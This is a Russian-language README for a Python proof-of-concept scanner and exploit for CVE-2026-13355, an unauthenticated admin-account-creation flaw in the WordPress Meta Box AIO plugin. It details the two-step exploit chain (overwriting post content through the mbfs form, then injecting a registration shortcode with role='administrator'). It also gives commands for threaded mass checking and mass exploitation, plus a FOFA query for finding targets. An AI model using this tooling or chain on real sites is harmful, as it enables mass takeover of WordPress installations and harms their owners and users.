CVE-2026-13355 — Неаутентифицированное повышение привилегий до администратора в Meta Box AIO

Python 3 proof-of-concept сканер и эксплойт для CVE-2026-13355 в WordPress-сборке Meta Box AIO (и связанных расширениях MB Frontend Submission / MB User Profile).

Краткое описание

Цепочка уязвимостей в двух встроенных расширениях позволяет неаутентифицированно создавать учётную запись администратора:

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id переопределяет целевой объект формы без проверки прав; Form::process() не вызывает user_can_edit(), поэтому атакующий может выполнить wp_update_post() и перезаписать post_content произвольных записей/страниц.
2. MB User Profile (mbup) — внедрённые атрибуты шорткода [mb_user_profile_register role="administrator" auto_login="true"] принимаются без проверки роли.

Важно: цепочка эксплойта требует публичной формы mbfs (frontend submission), а не только форм входа mbup. Многие результаты FOFA предоставляют лишь интерфейс входа/регистрации mbup — они помечаются как plugin_mbup_only и не эксплуатируются данной цепочкой.

Требования

• Python 3.8+
• pip install -r requirements.txt

Быстрый старт

pip install -r requirements.txt

# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check

# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → список целей

Пример запроса:

body="/wp-content/plugins/meta-box-aio/"

Нормализация экспорта FOFA в CSV:

python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20

Параметры CLI

Выходные файлы

Используйте --vuln-list exploited.txt при запусках exploit, чтобы попадания из hits.txt не перезаписывались.

Значения status при проверке

Замечания по эксплуатации

• Этап отравления отправляет POST с post_content через форму mbfs с ?rwmb_frontend_field_object_id=<id>.
• Успех требует, чтобы внедрённый шорткод отрендерился на отравленной странице (без strip/KSES, пропатченного плагина, неправильного типа формы).
• Формы mbfs для контактов/рассылок часто не имеют реального поля post_content; перезапись на практике может не сработать.
• HTTP 403 при POST обычно указывает на блокировку WAF/хостингом.

Структура репозитория

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Локальные списки сканирования и артефакты запусков (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) указаны в .gitignore и не должны коммититься.

Ссылки

• NVD — CVE-2026-13355
• Wordfence advisory
• Meta Box AIO changelog

Правовая информация

Только для авторизованного тестирования безопасности и обучения. Вы несёте ответственность за соблюдение применимых законов и правил программ.